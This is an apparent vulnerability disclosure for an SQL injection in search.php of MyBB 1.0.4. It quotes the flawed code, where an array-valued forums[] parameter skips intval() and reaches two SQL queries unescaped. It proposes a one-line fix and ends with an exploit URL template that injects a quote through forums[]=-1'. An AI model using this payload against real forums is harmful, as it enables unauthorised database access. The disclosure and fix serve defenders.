MyBB 1.0.4 New SQL Injection
	
		D3vil-0x1
		
		File :- search.php

580 to 592

/* _START_ */

if($mybb->input['forums'] != "all")

	{

		if(!is_array($mybb->input['forums'])) <<-- We Break It By forums[]=-1

		{

			$mybb->input['forums'] = array(intval($mybb->input['forums']));

		}

		foreach($mybb->input['forums'] as $forum)

		{

			if(!$searchin[$forum])

			{

				$query = $db->query("SELECT f.fid FROM ".TABLE_PREFIX."forums f LEFT JOIN ".TABLE_PREFIX."forumpermissions p ON (f.fid=p.fid AND p.gid='".$mybb->user[usergroup]."') WHERE INSTR(CONCAT(',',parentlist,','),',$forum,') > 0 AND active!='no' AND (ISNULL(p.fid) OR p.cansearch='yes')");

				if($db->num_rows($query) == 1)

				{

					$wheresql .= " AND t.fid='$forum' "; <<-- First SQL Injection

					$searchin[$fid] = 1;

}


Fix it :-

Add :-

$forum = intval($forum); To Line 568

/* _END_*/

/* Exploit */

[username] = any username in victem forum

[HOST]/[PATH]/search.php?action=do_search&postthread=1&author=[username]&matchusername=1&forums[]=-1'